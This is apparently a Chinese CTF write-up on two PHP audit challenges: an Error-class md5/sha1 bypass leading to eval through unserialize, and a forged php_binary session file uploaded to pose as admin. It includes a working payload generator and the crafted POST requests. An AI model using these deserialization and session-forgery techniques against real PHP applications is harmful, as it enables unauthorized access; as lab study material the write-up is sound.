来一篇刷题的文章:
文章图片
PHP原生类 源码
syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}}
}
}if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
代码审计
通过分析代码可以,md5和sha1必须要相等,但数据又不能相等,所以用Error类绕过md5和sha1检测
本地做一个测试
";
echo $b;
echo "
";
if($a != $b)
{
echo "a!=b";
}
echo "
";
if(md5($a) === md5($b))
{
echo "md5相等"."
";
}
if(sha1($a)=== sha1($b)){
echo "sha1相等";
}
通过本地测试得到 a!=b md5相等 sha1相等
这是因为error类中有_tostring方法,md5()和sha1()函数都会调用__tostring方法
源码里的正则检测用取反绕过就行。
syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}}
}
}
$str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);
$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
session的文件上传 代码审计
源码:
getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment;
filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
首先要做的还是代码审计
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
session的代码存在/var/babyctf/里面
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
这里进行判断,如果session的username是admin,然后存在这个文件/var/babyctf/success.txt,如果存在地话,就删除文件,然后输出flag,否则的话 username改为guest
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
这里有两个post参数,$dir_path拼接路径,若attr是private,呢么在dir_path的基础上再拼接一个username。
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
}
如果direction设置为update,首先判断是否正常上传,通过则在dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256,之后开始正则匹配,限制目录的读取和穿越,
elseif ($direction === "download") {//如果direction设置为download
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment;
filename="'.substr($filename, 0, -65).'"');
if(readftile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
若direction设置为download,读取上传下来的文件名,拼接为file_path,然后就开始正则匹配,如果文件存在,则返回文件内容
通过审计代码得到,获取flag的条件
$_SESSION[‘username’] ===‘admin’
$filename=’/var/babyctf/success.txt’
所以说伪造自己的username的session为admin,并且要在/var/baby下面创建一个success.txt文件。
伪造session:
php的session默认存储文件名是sess_+PHPSESSID的值,
我们看一下cookie中的PHPSESSID
PHPSESSID=30bc3a91059df2210cf8cd4b3d7fe02a
构造:
direction=download&attr=&filename=sess_30bc3a91059df2210cf8cd4b3d7fe02a
以post传入,在返回内容中读到内容
文章图片
看到回显,不同的引擎所对应的session的存储方式:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
我们这里的session处理器是php_binary,我们要在本地利用php_binary生成我们要伪造的session文件
运行生成session文件
计算sha256
得到:
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
构造
direction=download&attr=&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
【安全|CTF-PHP审计】创建success.txt
将attr设置为success.txt创建目录就能绕过,因为函数file_exists是检查文件或目录是否存在。
我们把PHPSESSID改为sess的文件sha256值让session的username为admin 刷新就能得到flag.
推荐阅读
- php|Phar反序列化
- MQ|基于Swoft2.x框架实现php操作rabbitMQ
- wordpress|WordPress获取分类数据函数(get_term)
- #|ThinkPHP 2.x/3.0 漏洞复现
- php|PHPMqtt详解
- 安全生产标准化
- 学习教程|php搭建网站入口搭建细节
- 资讯|上能写代码,下要“揍”黑客,还有什么不是程序员的“锅”()
- #yyds干货盘点#使用线程安全型双向链表实现简单 LRU Cache 模拟